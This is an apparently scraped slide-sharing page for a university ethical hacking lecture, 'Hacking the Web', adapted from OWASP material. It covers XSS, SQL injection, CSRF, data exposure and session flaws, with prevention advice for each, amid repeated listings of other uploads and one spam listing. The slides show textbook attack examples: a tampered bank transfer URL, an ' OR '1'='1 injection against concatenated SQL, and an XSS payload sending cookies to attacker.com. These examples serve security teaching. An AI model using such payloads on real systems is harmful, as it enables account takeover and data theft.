Ā 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
Ā 
04. xss and encoding
04. xss and encoding04. xss and encoding
04. xss and encoding
Ā 

More from Mike Crabb

Hard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesHard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesMike Crabb
Ā 
Accessible and Assistive Interfaces
Accessible and Assistive InterfacesAccessible and Assistive Interfaces
Accessible and Assistive InterfacesMike Crabb
Ā 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible EveryoneMike Crabb
Ā 
The Peer Review Process
The Peer Review ProcessThe Peer Review Process
The Peer Review ProcessMike Crabb
Ā 
Managing Quality In Qualitative Research
Managing Quality In Qualitative ResearchManaging Quality In Qualitative Research
Managing Quality In Qualitative ResearchMike Crabb
Ā 
Analysing Qualitative Data
Analysing Qualitative DataAnalysing Qualitative Data
Analysing Qualitative DataMike Crabb
Ā 
Conversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisConversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisMike Crabb
Ā 
Ethnographic and Observational Research
Ethnographic and Observational ResearchEthnographic and Observational Research
Ethnographic and Observational ResearchMike Crabb
Ā 
Doing Focus Groups
Doing Focus GroupsDoing Focus Groups
Doing Focus GroupsMike Crabb
Ā 
Doing Interviews
Doing InterviewsDoing Interviews
Doing InterviewsMike Crabb
Ā 
Designing Qualitative Research
Designing Qualitative ResearchDesigning Qualitative Research
Designing Qualitative ResearchMike Crabb
Ā 
Introduction to Accessible Design
Introduction to Accessible DesignIntroduction to Accessible Design
Introduction to Accessible DesignMike Crabb
Ā 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible EveryoneMike Crabb
Ā 
Texture and Glyph Design
Texture and Glyph DesignTexture and Glyph Design
Texture and Glyph DesignMike Crabb
Ā 
Pattern Perception and Map Design
Pattern Perception and Map DesignPattern Perception and Map Design
Pattern Perception and Map DesignMike Crabb
Ā 
Dealing with Enterprise Level Data
Dealing with Enterprise Level DataDealing with Enterprise Level Data
Dealing with Enterprise Level DataMike Crabb
Ā 
Using Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentUsing Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentMike Crabb
Ā 
Teaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowTeaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowMike Crabb
Ā 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSSMike Crabb
Ā 
Forms and Databases in PHP
Forms and Databases in PHPForms and Databases in PHP
Forms and Databases in PHPMike Crabb
Ā 

More from Mike Crabb (20)

Hard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesHard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach Places
Ā 
Accessible and Assistive Interfaces
Accessible and Assistive InterfacesAccessible and Assistive Interfaces
Accessible and Assistive Interfaces
Ā 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible Everyone
Ā 
The Peer Review Process
The Peer Review ProcessThe Peer Review Process
The Peer Review Process
Ā 
Managing Quality In Qualitative Research
Managing Quality In Qualitative ResearchManaging Quality In Qualitative Research
Managing Quality In Qualitative Research
Ā 
Analysing Qualitative Data
Analysing Qualitative DataAnalysing Qualitative Data
Analysing Qualitative Data
Ā 
Conversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisConversation Discourse and Document Analysis
Conversation Discourse and Document Analysis
Ā 
Ethnographic and Observational Research
Ethnographic and Observational ResearchEthnographic and Observational Research
Ethnographic and Observational Research
Ā 
Doing Focus Groups
Doing Focus GroupsDoing Focus Groups
Doing Focus Groups
Ā 
Doing Interviews
Doing InterviewsDoing Interviews
Doing Interviews
Ā 
Designing Qualitative Research
Designing Qualitative ResearchDesigning Qualitative Research
Designing Qualitative Research
Ā 
Introduction to Accessible Design
Introduction to Accessible DesignIntroduction to Accessible Design
Introduction to Accessible Design
Ā 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible Everyone
Ā 
Texture and Glyph Design
Texture and Glyph DesignTexture and Glyph Design
Texture and Glyph Design
Ā 
Pattern Perception and Map Design
Pattern Perception and Map DesignPattern Perception and Map Design
Pattern Perception and Map Design
Ā 
Dealing with Enterprise Level Data
Dealing with Enterprise Level DataDealing with Enterprise Level Data
Dealing with Enterprise Level Data
Ā 
Using Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentUsing Cloud in an Enterprise Environment
Using Cloud in an Enterprise Environment
Ā 
Teaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowTeaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of Tomorrow
Ā 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSS
Ā 
Forms and Databases in PHP
Forms and Databases in PHPForms and Databases in PHP
Forms and Databases in PHP
Ā 

Recently uploaded

Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoffsammart93
Ā 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
Ā 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessPixlogix Infotech
Ā 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel AraĆŗjo
Ā 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
Ā 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
Ā 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAndrey Devyatkin
Ā 
šŸ¬ The future of MySQL is Postgres šŸ˜
šŸ¬ The future of MySQL is Postgres šŸ˜šŸ¬ The future of MySQL is Postgres šŸ˜
šŸ¬ The future of MySQL is Postgres šŸ˜RTylerCroy
Ā 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
Ā 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
Ā 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
Ā 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
Ā 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
Ā 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
Ā 
HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesBoston Institute of Analytics
Ā 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
Ā 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
Ā 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
Ā 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024The Digital Insurer
Ā 

Recently uploaded (20)

+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
Ā 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Ā 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
Ā 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your Business
Ā 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Ā 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
Ā 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
Ā 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
Ā 
šŸ¬ The future of MySQL is Postgres šŸ˜
šŸ¬ The future of MySQL is Postgres šŸ˜šŸ¬ The future of MySQL is Postgres šŸ˜
šŸ¬ The future of MySQL is Postgres šŸ˜
Ā 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
Ā 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Ā 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
Ā 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
Ā 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
Ā 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
Ā 
HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation Strategies
Ā 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
Ā 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
Ā 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
Ā 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Ā 

Hacking the Web

  • 1. HACKING THE WEB CONTENT LOVINGLY RIPPED FROM OWASP.ORG
  • 2. CROSS SITE SCRIPTINGL HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN SQL INJECTIONHACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC COOKIE EDITINGACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI CROSS SITE REQUEST FORGERYL HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC SENSITIVE DATA EXPOSURE RGU ETHICAING
  • 3. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING L HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN HACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC ACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI L HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC RGU ETHICAING
  • 4. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E ATTACK ATTACK ATTACK WEAKNESS WEAKNESS WEAKNESS WEAKNESS CONTROL CONTROL ASSETS FUNCTIONS Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Securityā€Ø Controls Technicalā€Ø Impacts Businessā€Ø Impacts ATTACK WEAKNESS CONTROL FUNCTIONS IMPACT IMPACT IMPACTIMPACT
  • 5. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Securityā€Ø Controls Technicalā€Ø Impacts Businessā€Ø Impacts
  • 6. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 7. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 8. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats. Donā€™t store sensitive data unnecessarily. Discard it as soon as possible. Data you donā€™t have canā€™t be stolen. Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Ensure passwords are stored with an algorithm speciļ¬cally designed for password protection, such as bcrypt, PBKDF2, or scrypt. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
  • 9. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability
  • 10. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=4321&AMOUNT=500 HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=666&AMOUNT=5000 VERY EASY ATTACK. SOMETHING LIKE THISā€¦ CAN BE CHANGED TO THIS
  • 11. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The preferred option is to include the unique token in a hidden ļ¬eld. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is more prone to exposure. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs a greater risk that the URL will be exposed to an attacker, thus compromising the secret token. Requiring the user to re-authenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF. Easiest ļ¬x, when dealing with forms, is to change it from GET to POST
  • 12. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC AVERAGE WIDESPREAD AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability BROKEN AUTHENTICATION AND SESSION MANAGEMENT
  • 13. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The primary recommendation for an organisation is to make available to developers: A single set of strong authentication and session management controls. Such controls should strive to: 1. meet all the authentication and session management requirements deļ¬ned in OWASPā€™s Application Security Veriļ¬cation Standard (ASVS) areas V2 (Authentication) and V3 (Session Management). 2. have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
  • 14. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 15. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
  • 16. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
  • 17. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preventing injection requires keeping untrusted data separate from commands and queries. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterised interface. Be careful with APIs, such as stored procedures, that are parameterised, but can still introduce injection under the hood. If a parameterised API is not available, you should carefully escape special characters using the speciļ¬c escape syntax for that interpreter. OWASPā€™s ESAPI provides many of these escaping routines.
  • 18. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC AVERAGE VERY WIDESPREAD EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability (STRING) PAGE += "<INPUT NAME='CREDITCARD' TYPE='TEXT' VALUE='" + REQUEST.GETPARAMETER("CC") + "'>"; '><SCRIPT>DOCUMENT.LOCATION= 'HTTP://WWW.ATTACKER.COM/CGI-BIN/COOKIE.CGI ? FOO='+DOCUMENT.COOKIE</SCRIPT>'.
  • 19. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Positive or ā€œwhitelistā€ input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. For rich content, consider auto-sanitization libraries like the Java HTML Sanitizer Project. Consider Content Security Policy (CSP) to defend against XSS across your entire site.
  • 20. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING